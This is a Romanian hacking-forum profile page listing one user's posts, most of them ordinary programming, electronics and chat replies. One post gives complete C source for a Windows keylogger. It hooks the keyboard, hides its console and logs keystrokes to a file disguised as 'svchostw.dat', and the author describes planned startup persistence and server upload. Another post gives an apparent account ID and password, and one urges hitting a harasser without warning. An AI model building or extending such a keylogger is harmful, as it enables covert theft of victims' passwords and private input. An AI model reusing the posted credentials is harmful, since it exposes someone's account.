Jump to content

Zamolxis666

Active Members
  • Posts

    277
  • Joined

  • Last visited

  • Days Won

    3

Everything posted by Zamolxis666

  1. 1. How to embed a flash movie into html. <object type="application/x-shockwave-flash" data="your-flash-file.swf" width="0" height="0"> <param name="movie" value="your-flash-file.swf" /> <param name="quality" value="high"/> </object> 2. How to use Google Maps in order to get directions, using HTML. <form action="http://maps.google.com/maps" method="get" target="_blank"> <label for="saddr">Enter your location</label> <input type="text" name="saddr" /> <input type="hidden" name="daddr" value="350 5th Ave New York, NY 10018 (Empire State Building)" /> <input type="submit" value="Get directions" /> </form> <!--saddr = blank input field for entering START address--> <!--daddr = hard-coded END address--> 3. How to select multiple files. <form method="post" action="upload.php" enctype="multipart/form-data"> <input name='uploads[]' type="file" multiple> <input type="submit" value="Send"> </form> The PHP file(you can then loop through the data as an array): foreach ($_FILES['uploads']['name'] as $filename) { echo '<li>' . $filename . '</li>'; } 4. Build a test page which has a basic css, loads jquery from google and sets up DOM-ready block for jQuery. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>Test Page</title> <style type="text/css"> * { margin: 0; padding: 0;} </style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script> <script type="text/javascript"> $(function(){ // Do stuff. }); </script> </head> <body> </body> </html> sursa + mai multe aici: Very Useful Code Snippets For Web Developers | Top Design Magazine - Web Design and Digital Content
  2. Am gasit urmatorul comentariu pe gds.ro cu privinta la articolul de fata: "Anun?ul c? viteza luminii a fost dep??it? de o particul? subatomic? a cutremurat întreaga comunitate ?tiin?ific?, mai pu?in pe Marian Vanghelie, care se a?tepta demult la asta. „Dup? cum ?ti?i, ?i eu m? bazam pe Teoria Relativit??ii în cercet?rile mele, dar numai par?ial”, a spus Vanghelie. „M-am banghit c? are câteva chichi?e, dar am zis c? mai merge peticit? ?i s-o folosim a?a cum e.” Vizibil afectat de aceast? schimbare a paradigmei ?tiin?ifice, Vanghelie a primit vestea cum nu se putea mai prost. „Mai bine îmi d?dea cineva un ?ut în boa?e. Nici nu vreau s? m? gândesc la implica?iile acestei descoperiri. Eu mai aveam pu?in ?i rezolvam ecua?ia Teoriei Unificatoare, c?ca-m-a? în ea. Acum va trebui s?-mi refac toate calculele.” V anghelie tocmai ie?ea din laboratorul de fizic?, unde servea prânzul, când a fost informat de un student c? Teoria Relativit??ii tocmai a fost infirmat?. „L-am scuipat între ochi”, î?i aminte?te Vanghelie. „B?i boule, îi zic eu, în primul rând c? nicio particul? subatomic? întreag? la minte n-ar dep??i viteza luminii, fiindc? e periculos! Dar ca s? vii s?-mi zici în fa?? c? un neutrin este mai iute ca un foton, asta e chiar tupeu, du-te dracului de nesim?it!”
  3. Zamolxis666

    Proxy-uri

    Le-am gasit pe pastebin, nu le-am incercat: Proxy's Prozaks - Pastebin.com http://pastebin.com/nF0BtVTX
  4. Salutare, Acum ceva timp in urma postase Slick un keylogger care "agata" un hook de tastatura si de fiecare data cand apasai o tasta iti semnala acest lucru printr-o pereche de paranteze afisate in consola. Am modificat proiectul lui a.i. consola nu mai este afisata, iar tastele apasate sunt inregistrate intr-un fisier. Initial planuisem sa bag programul in registrii sa porneasca automat la startup, iar log-ul sa fie de asemenea urcat automat pe server 1 data /zi. Din pacate, timpul si problemele de acasa m-au facut sa renunt la proiect si il postez aici, in speranta ca cineva il va continua, sau va invata ceva folositor: #include <windows.h> #include <winuser.h> #include <stdio.h> #include <string.h> HHOOK hKeyHook; // hook`ul bool shift = false; bool caps = false; FILE *f; // Acesta functia este exportata din executabil la fel ca o functie care face parte dintr-in dll __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode,WPARAM wParam,LPARAM lParam) { if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked=*((KBDLLHOOKSTRUCT*)lParam); // diverse informatii despre tasta apasata DWORD dwMsg=1; if(hooked.vkCode == VK_SHIFT && shift == false) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[SHIFT]"); fclose(f); shift = true; } else if(hooked.vkCode == VK_SHIFT && shift == true) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[SHIFT]"); fclose(f); shift = false; } else if(hooked.vkCode == VK_CAPITAL && caps == true) caps = false; else if(hooked.vkCode == VK_CAPITAL && caps == false) caps = true; else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps || shift)) { f = fopen("svchostw.dat", "a"); fprintf(f, "%c", hooked.vkCode); fclose(f); } else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps==false && shift == false)) { f = fopen("svchostw.dat", "a"); fprintf(f, "%c", tolower(hooked.vkCode)); fclose(f); } else if(VK_NUMPAD0 <= hooked.vkCode && hooked.vkCode <= VK_NUMPAD9) { f = fopen("svchostw.dat", "a"); fprintf(f, "%d", hooked.vkCode - 0x60); fclose(f); } else if(0x30 <= hooked.vkCode && hooked.vkCode <= 0x39) { f = fopen("svchostw.dat", "a"); fprintf(f, "%d", hooked.vkCode - 0x30); fclose(f); } else if(hooked.vkCode == VK_OEM_1) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[;:]"); fclose(f); } else if(hooked.vkCode == VK_OEM_2) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[/?]"); fclose(f); } else if(hooked.vkCode == VK_OEM_3) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[`~]"); fclose(f); } else if(hooked.vkCode == VK_OEM_4) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[ [{ ]"); fclose(f); } else if(hooked.vkCode == VK_OEM_5) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[\\|]"); fclose(f); } else if(hooked.vkCode == VK_OEM_6) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[ ]} ]"); fclose(f); } else if(hooked.vkCode == VK_OEM_7) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "['\"]"); fclose(f); } else if(hooked.vkCode == VK_OEM_PLUS) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "+"); fclose(f); } else if(hooked.vkCode == VK_OEM_COMMA) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", ","); fclose(f); } else if(hooked.vkCode == VK_OEM_MINUS) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "-"); fclose(f); } else if(hooked.vkCode == VK_OEM_PERIOD) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "."); fclose(f); } else if(hooked.vkCode == VK_RETURN) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "\n"); fclose(f); } else if(hooked.vkCode == VK_TAB) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[TAB]"); fclose(f); } else if(hooked.vkCode == VK_DELETE) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[DEL]"); fclose(f); } else if(hooked.vkCode == VK_BACK) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", "[BACK]"); fclose(f); } else if(hooked.vkCode == VK_SPACE) { f = fopen("svchostw.dat", "a"); fprintf(f, "%s", " "); fclose(f); } } return CallNextHookEx(hKeyHook,nCode,wParam,lParam); } // un ciclu de mesaje folosit ca sa blocheze executia cat timp sunt logate tastele void MsgLoop() { MSG message; while(GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // instaleaza hook`ul si incepe ciclul pentru capturarea tastelor apasate DWORD WINAPI KeyLogger(LPVOID lpParameter) { HINSTANCE hExe=GetModuleHandle(NULL); if (!hExe) hExe=LoadLibrary((LPCWSTR) lpParameter); if (!hExe) return 1; // eroare, iesim din program hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,0); // instalam hook`ul MsgLoop(); // asteptam apasarea tastelor UnhookWindowsHookEx(hKeyHook); // dezinstalam hook`ul return 0; } int main(int argc, char** argv) { HANDLE hThread; DWORD dwThread; DWORD exThread; hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, &dwThread); // incepem functia de logging intr-un alt thread if(hThread) { return WaitForSingleObject(hThread,INFINITE); } else { return 1; } } link to pastebin: [C] KLg - Pastebin.com Toate cele bune
  5. Daca vin in grup si se iau de tine si nu e nimeni prin preajma, tine-te tare, uita-te la ei sa vezi care e cel mai smecher dintre ei si pe nepregatite arde-i un pumn in plina figura. O sa il umilesti in fata prietenilor lui si n-o sa se mai ia de tine. Si daca ceilalti sunt cacaciosi or sa plece, daca nu sunt cacaciosi si or sa sara la bataie, atunci nu ii lasa sa te bata, dai si tu (asta daca esti 100% sigur ca n-are nimeni cutit la el). Alta solutie (si cea mai buna) este sa incerci sa-ti rezolvi cu cap problemele. Cum? Asta depinde numai de tine. Tu stii mai bine ca oricine in ce ape te scalzi si cu cine.
  6. iti trebuie un microprocesor (sau varianra II cu unul sau mai multe numaratoare), rezistente si leduri + cunostinte de eletronica. Pana sa iti cumperi piesele poti sa incerci Proteuse Isis sa proiectezi si sa simulezi circuitul. Ceva de genul asta: http://img43.imageshack.us/img43/5984/65118665.png Pseudocod pt microprocesor: directie = stanga_dreapta port_iesire = 7 (111 in binar) i = 2 executa in bucla infinita daca(directie = stanga_dreapta) atunci port_iesire = port_iesire >> 1 (shiftam continutul cu o pozitie la dreapta) i++ daca(i = 5) directie = dreapta_stanga (inseamna ca cele mai din dreapta 3 leduri sunt aprinse) altfel port_iesire = port_iesire << 1 (shiftam continutul cu o pozitie la stanga) i-- daca(i = 2) directie = stanga_dreapta (inseamna ca cele mai din stanga 3 leduri sunt aprinse)
  7. Din calcule gresite de acolo a scos banii: a primit 25000 de la femei 25000 - 3000 inghetata = 22000 22000 - 2000 (bani inapoiati ambelor femei) = 20000 adica cele doua femei ar fi platit 23000 pe gaina, din care scadem 3000 inghetata si obtinem fabuloasa suma de 20000. Prin urmare mia de lei pe care o are in plus sunt bani de buzunar de la tatal sau
  8. I-a data bani de buzunar "taicasu lu' Bula".
  9. Premisa A -> B (a schimba cu Dem: B -> C A -> D C -> A D -> B
  10. Good job. Apropo, este "imagini aleatoare", nu "imagini aleatorii"
  11. Reprezinti numerele sub forma de stringuri si definesti functii pentru adunarea, respectiv inmultirea lor, determinand apoi timpul de executie.
  12. primul pas este sa cumperi bilet de loto
  13. Daca inseriezi ledurile, atunci iti tebuie o tensiune de 30 LEDuri x 0.7 V/Led = 21 V aplicati pe anodul primului led din serie. Daca le pui in paralel iti tebuie minim 0.7V aplicati in total pe anozii ledurilor. Trebuie sa tii cont si de intensitatea curentului pentru ca ea este cea care iti da luminozitate mai mare sau mai mica pt leduri (sau le poate arde daca e prea mare).
  14. uite aici. urmareste tutorialele cu high pass filters si low pass filters + cateva cunostiinte de electronica si electrotehnica te-ar ajuta YouTube - ?Afrotechmods's Channel??
  15. HB5-40AORAGCABC Led RBG - ADELAIDA - Componente electronice 6 lei costa
  16. Problema e ca atunci cand l-ai coompilat nu i-ai dat release. uite aici: http://img88.imageshack.us/img88/6858/unledklh.png
  17. Da este o diferenta, cad apelezi functie1 in main o apelezi asa functie1(a, , iar pentru functie2: functie2((int *)a, (int *). In primul caz transmiti ca parametri adresele variabilelor, iar in cazul doi doar pointeri catre variabile si de aceea trebuie sa faci cast catre pointer la int daca presupunem ca variabilele a si b sunt declarate ca int a, b. Uite un exemplu mai jos: #include <stdio.h> #include <conio.h> void f1(int &x, int &y) { printf("%d %d\n", x, y); } void f2(int *x, int *y) { printf("%d %d\n", x, y); } int main() { int x = 10, y = 11; f1(x, y); f2((int *)x, (int *)y); getch(); return 0; }
  18. Zamolxis666

    Creatina

    Te-ai gandit da mergi la farmacie si sa intrebi?
  19. daca lista este simplu inlantuita, si pointerul p arata catre primul element din lista atunci: copie = p; p = p->next //ne pozitionam pe al doilea element din lista cat timp p != null executa temp = p; //retinem elementul curent p = p->next; //ne mutam pe urmatorul element din lista delete temp; //si il stergem pe cel de dinaintea lui end cat timp p = copie; //ne repozitionam pe primul nod al listei
  20. @adonisslanic: Logica programarii inseamna sa analizezi problema pe care o ai de rezolvat, sa o descompui in subprobleme/module care sa fie mai usor de rezolvat, sa le proiectezi si sa le implementezi corespunzator. NU se refere in niciun caz la limbajul cu care incepi @kame: Odata ce stii sa proiectezi un algoritm pentru o problema, limbajul de programare nu prea conteaza. Din experienta mea iti recomand sa inveti C curat, apoi C++ si proiectarea orientata pe obiecte. Daca esti autodidact te sfatuiesc sa citesti teoria , sa incerci sa o intelegi, sa rulezi exemplele de la fiecare capitol/lectie, sa rezolvi problemele propuse de la fiecare lectie, si daca ai nelamuriri sa intrebi pe cineva care chiar se pricepe, nu pe bagatorii de seama care-si dau cu parere. LE: Nu te incurca sa inveti nu stiu cate limbaje de programare ca o sa sfarsesti sa nu inveti niciunul.
  21. Incearca sa raspunzi la intrebari pt resetarea parolei (banuiesc ca mai stii raspunsul la ele de cand ti-ai facut contul). https://edit.europe.yahoo.com/forgot
  22. ID: ciufu.cf3x Password: ladygaga
×
×
  • Create New...